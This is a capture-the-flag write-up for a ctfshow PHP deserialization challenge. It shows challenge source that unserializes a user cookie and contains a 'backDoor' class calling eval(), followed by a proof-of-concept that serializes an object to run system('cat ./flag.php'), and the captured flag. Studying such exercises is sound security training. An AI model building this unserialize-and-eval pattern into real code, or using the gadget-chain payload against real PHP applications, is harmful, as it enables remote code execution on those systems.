nginx/1.16.1PHP/7.3.11
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 20:33:07# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}}class backDoor{private $code;public function getInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);}
分析:
触发 backDoor 即可
poc
<?phpclass ctfShowUser{public function __construct(){$this->class=new backDoor();}}class backDoor{private $code = 'system("cat ./flag.php");';}$user = new ctfShowUser();echo(urlencode(serialize($user)));?>

flag
ctfshow{72d54ea0-eb49-41bc-a7e0-6f8c880f7d0d}
